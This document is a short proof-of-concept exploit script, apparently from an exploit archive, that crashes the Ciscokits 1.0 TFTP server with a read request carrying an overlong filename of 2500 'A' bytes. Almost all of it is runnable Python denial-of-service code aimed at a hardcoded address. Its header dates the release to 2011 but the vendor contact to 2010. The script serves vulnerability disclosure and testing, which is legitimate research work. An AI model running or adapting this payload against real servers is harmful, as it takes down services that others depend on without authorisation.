Ciscokits 1.0 TFTP Denial Of Service

`#!/usr/bin/python  
#Title: Ciscokits 1.0 TFTP Long Filename DoS  
#Author: Craig Freyman (@cd1zz)  
#Date: July 22, 2011  
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip  
#Tested on: Windows XP SP3  
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.   
#Notes: When a long file name read request is made the CPU will spike  
#and within about 20 seconds the TFTP service will crash.  
  
import socket,sys,time  
  
host = '192.168.133.128'  
port = 69  
  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
except:  
print "socket() failed"  
sys.exit(1)  
  
crash = "\x41" * 2500  
  
mode = "netascii"  
files = "a"  
print "File name READ crash"  
#seems to only work on a READ command = x01  
pwned = "\x00\x01" + crash + "\0" + mode + "\0"  
s.sendto(pwned, (host, port))  
time.sleep(2)  
  
`